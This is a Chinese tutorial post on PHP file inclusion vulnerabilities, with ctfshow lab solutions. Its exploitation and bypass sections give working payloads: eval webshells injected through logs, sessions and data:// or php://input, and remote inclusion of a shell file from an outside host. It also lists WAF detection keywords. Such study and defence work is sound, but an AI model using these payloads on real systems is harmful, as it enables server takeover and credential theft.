当前位置: 首页 > news >正文

文件包含漏洞之原理、探测、利用、绕过、防御

一、原理

什么是文件包含?

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,

直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。

在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞

漏洞原理

开发者通常使用 include() 或 require() 等函数加载文件内容。程序通过接收用户可控参数,动态读取本地、远程文件并解析执行。如果这些函数的参数由用户输入控制且未经过验证,攻击者可以通过构造恶意路径或 URL 来加载敏感文件或恶意代码。

​include()​​:找不到被包含文件,报错,但会继续运行脚本;

​include_once()​​:与include类似,区别:当重复调用同一文件时,程序只调用一次;

​require()​​:找不到被包含文件,报错,并且停止运行脚本;

​require_once()​​ :与require类似,区别:当重复调用同一文件时,程序只调用一次;

分类

​LFI 本地文件包含​:仅读取服务器本地文件,无法加载远程 URL

​RFI 远程文件包含​:可加载远程服务器文件,危害更大

二、探测

1. 特征参数识别

URL中常见文件包含参数:?page=x​、?file=x​、?name=x​、?path=x​、?dir=x​、?template=x​、?load=x​

2. 本地文件测试

Windows系统

?page=C:/Windows/win.ini ?page=C:/Windows/System32/drivers/etc/hosts

Linux系统

?page=/etc/passwd ?page=/etc/group ?page=/etc/shadow(需root权限) ?page=/proc/self/environ(获取环境变量、WEB路径)

页面返回文件内容,无报错或404→ 存在LFI

3. 远程文件包含探测

传入远程 URL,观察是否加载远程文件:

?page=http://攻击者服务器/evil.txt ?page=https://xxx/backdoor.php

页面加载远程内容 → 存在RFI

4. 截断符测试

判断是否过滤后缀

若后端强制拼接后缀(如 include($file . ".php")​)使用 %00​ 空字节截断(PHP<5.3.4 有效)

?page=/etc/passwd%00

5. 工具探测

  • Burp Suite:主动扫描模块
  • OWASP ZAP:文件包含漏洞扫描规则
  • Seay 源码审计工具(代码层挖掘)

三、利用

(一)本地文件包含利用

1. 敏感文件读取(信息泄露)

Windows常见:

C:\Windows\win.ini C:\boot.ini C:\xampp\apache\logs\access.log C:/Windows/System32/drivers/etc/hosts

Linux常见目标:

/etc/passwd 用户列表 /etc/crontab 定时任务 /var/log/apache2/access.log 访问日志 /var/log/nginx/access.log /proc/self/cmdline 进程启动参数 /root/.ssh/id_rsa 私钥

2. 日志包含写入木马(日志污染攻击)

原理:访问URL时UA请求头写入日志,再包含日志执行PHP代码

构造恶意User-Agent:<?php eval($_POST['cmd']);?>​

访问网站记录日志

包含日志文件:?page=/var/log/nginx/access.log​

POST传参cmd=系统命令,实现webshell

3. Session文件包含(Session劫持+代码执行)

PHP Session存储路径:/tmp/sess_xxxx​

Cookie写入恶意PHP代码

包含session文件执行木马

4. 上传文件配合LFI

上传图片马(.jpg​ 内含php代码),再通过文件包含解析图片,执行后门。

(二)RFI远程文件包含利用

  1. 攻击者搭建远程恶意文件 shell.txt​
<?php eval($_POST['c']); ?>
  1. 直接远程包含:?page=http://xxx/shell.txt​
  2. 传参执行命令:?c=system('whoami');​

绕过域名限制:协议替换 https://​、ftp://​、php://input​

(三)PHP伪协议利用

无需本地/远程文件,直接通过内置协议读文件、执行代码

基本需要满足:allow_url_fopen=On​,部分协议需要 allow_url_include=On​

1.php://filter

读取当前页面源码,base64编码防止浏览器解析执行PHP代码,避免源码被执行。

解码base64得到完整源代码,获取数据库账号、密钥。

?page=php://filter/read=convert.base64-encode/resource=index.php

2.php://input

GET传参:?file=php://input​

POST请求体写入PHP代码:<?php system('ls'); ?>​

3.data://

?page=data://text/plain,<?php eval($_GET['cmd']);?> ?page=data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyA/Pg== #编码内容:<?php eval($_GET['cmd']);?>

4.file://

直接读取服务器本地任意文件

linux:

?file=file:///etc/passwd ?file=file:///etc/group ?file=file:///var/log/nginx/access.log

​file://​ 后面需要三个斜杠,代表从文件系统根目录开始。

Windows:

?file=file://C:/Windows/win.ini ?file=file://C:/Windows/System32/drivers/etc/hosts

5.zip://

读取 zip 压缩包内的文件,解析执行里面的 PHP 脚本。

?file=zip://D:/www/1.zip%23shell.php # %23是#的URL编码,用来指定压缩包里的文件

四、绕过

1. 过滤../​目录穿越 绕过

多层嵌套:....//....//​etc/passwd(解析后等效../)

双URL编码绕过:

  • 浏览器第一次 URL 解码:..%2Fetc%2Fpasswd​
  • PHP 服务端二次 URL 解码:../etc/passwd

斜杠替换:\ Windows下等价 /,过滤只拦截了正斜杠../​即可使用..\​绕过

2. 过滤 http/https​ 禁止RFI 绕过

替换协议:ftp://​、php://input​、data://​

3. 后端强制拼接 .php 后缀 绕过

空字节截断:%00​(低版本PHP),%00是字符串结束符,PHP 遇到\0直接截断,.php不会拼接执行

.号./符号截断:Windows下目录最大长度为256字节,Linux下目录最大长度为4096字节,超出的部分会被丢弃。目录过长,最后拼接的.php就会被丢弃

payload:

http://192.168.100.150/test_include/index.php?page=1.png/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

路径符号:/etc/passwd/.​、/etc/passwd/#​

特殊符号?​:后端拼接后地址:http://xxx/shell.txt?.php,?后面的内容属于 URL 参数,服务端会忽略?.php,实际加载远程shell.txt

4. 过滤关键词 passwd​、etc​绕过

大小写混淆:/EtC/PaSsWd​(Linux区分大小写无效,Windows有效)

字符串拼接、编码绕过、十六进制路径

5. 过滤伪协议 php://filter 绕过

大小写变形:PHP://Filter​

换行、特殊字符分割绕过WAF

6. 路径白名单限制(仅允许 ./template/)

后端拼接后最终访问路径:./template/./template/../../etc/passwd​路径规范化后等价于:../../etc/passwd​,成功跳出白名单目录

路径穿越:?page=../etc/passwd​ 跳出指定目录

五、防御

1. 代码层修复(根本解决)

①白名单限制文件名称,只允许预设页面,拒绝任意用户输入

$allow = ['home.php','about.php']; $file = $_GET['page']; if(!in_array($file,$allow)) die("非法文件"); include("./template/".$file);

②严格限制文件目录,禁止跳出根目录

使用 realpath()​ 校验路径,拦截 ../​ 穿越

$base = "./template/"; $path = realpath($base . $_GET['page']); if(strpos($path, realpath($base)) !== 0) exit;

③禁用危险文件包含函数
php.ini:disable_functions = include,require,file_get_contents​

④关闭远程文件包含

php.ini:allow_url_include = Off​,同时关闭 allow_url_fopen = Off​

2. 输入过滤规范

禁止用户输入直接拼接路径

过滤 ../​、\​、/​、%00​、伪协议关键词

强制文件后缀,统一使用固定后缀,禁止截断

3. 服务器配置防护

日志、session文件禁止Web可访问

网站目录最低权限,www-data无读取 /etc/shadow​、/root​ 权限

Nginx/Apache限制访问敏感系统文件

4. WAF防护

拦截特征:

​php://filter​、data://​、zip://​

多层 ../​ 目录穿越

​http://​ 远程协议调用

​/etc/passwd​、win.ini​ 敏感文件关键字

5. 运维安全加固

PHP升级至7.x/8.x,废除空字节截断漏洞

定期清理网站日志、session文件,减少污染利用面

禁止网站运行用户拥有高系统权限

六、ctfshow练题

-文件读取:

file:///etc/passwd

php://filter/read=convert.base64-encode/resource=phpinfo.php

-文件写入:

php://filter/write=convert.base64-encode/resource=phpinfo.php

php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

-代码执行:

php://input POST:<?php phpinfo();?>

data://text/plain,<?php phpinfo();?>

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

78-php&http协议

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

payload: ?file=php://input post:<?php system('tac flag.php');?>

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

79-data&http协议

payload: ?file=data://text/plain,<?=system('tac flag.*');?>

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

80 81-日志包含

1、利用其他协议,如file,zlib等

2、利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃

故利用日志记录UA信息,UA带入代码

包含:/var/log/nginx/access.log

82-86-SESSION包含

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

自定义session名字,条件竞争访问session文件,触发创建新文件

<html>

<body>

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />

<input type="file" name="file" />

<input type="submit" value="submit" />

</form>

</body>

</html>

https://www.cnblogs.com/lnterpreter/p/14086164.html

https://www.cnblogs.com/echoDetected/p/13976405.html

87-php://filter/write&加密编码

1、利用base64:

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13:

url编码2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG[1]);?>

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

117-php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

<?php

$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');

echo "经过一次反转:".$result."\n";

echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);

?>

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?

http://www.jsqmd.com/news/1078857/

相关文章:

  • VMware虚拟机导出OVF:绕过ovftool命令行的3种GUI替代方案,小白也能10分钟完成合规打包
  • Spring Cloud 服务注册与发现原理
  • 嵌入式无线通信自动化测试与协议分析实战指南
  • GEO服务商与SEO服务商有什么区别?2026年企业必须搞清的五个关键差异
  • Gemma 4多模态轻量模型实战指南:边缘部署与跨语言推理
  • 多维空间索引结构R树与KD树性能对比研究的技术8
  • 太吾绘卷:天幕心帷下载2026最新带破解
  • 数字取证实战:从系统日志到内存分析,还原安全事件真相
  • 如何快速掌握LangFlow:3步搞定AI应用可视化开发
  • MoE模型推理优化:动态调度与缓存管理实践
  • Gemini 3.1 Pro三层推理与Veo+Lyria多模态协同实战指南
  • CLIP实战避坑指南:图文对齐、零样本迁移与生产部署关键断点
  • 3分钟开启记忆守护:微信聊天记录永久保存的智能方案
  • 智码 AICoder · 桌面桌宠(Desktop Pet)功能完全介绍
  • Product Hunt 每日热榜 | 2026-06-25
  • Streamlit+Heroku部署GAN模型:零运维Web应用实战
  • 机器学习模型评估实战:从accuracy陷阱到AUC-ROC与PR曲线深度解析
  • 3个核心技术突破:Windows系统下LG Ultrafine显示器亮度控制终极方案
  • SpringSecurity 静态资源放行深度详解(解决401认证失败、文件无法访问、URL拦截问题)
  • 分布式算力容器与连续张量拓扑:基于 Gunicorn 多进程套接字复用与 NumPy 共享内存的 IPC 通信架构
  • 从脱靶量最小化到杀伤概率最大化:导弹制导新范式解析
  • MWC26上海 | 移远首款MediaTek平台旗舰级AI算力模组震撼登场
  • 如何在10分钟内搭建AI驱动的无代码测试平台:Testsigma完整实战指南
  • 文本转换(Transforming)
  • 存个对象到localStorage,结果[object Object]?
  • 【C++面经】1-5
  • 服务定位器中的依赖查找与实例管理
  • 分布式系统设计最佳实践
  • 注入燃料——Entity Framework Core 与 Code First 实战
  • 品牌建设化技术品牌价值度量与传播效果评估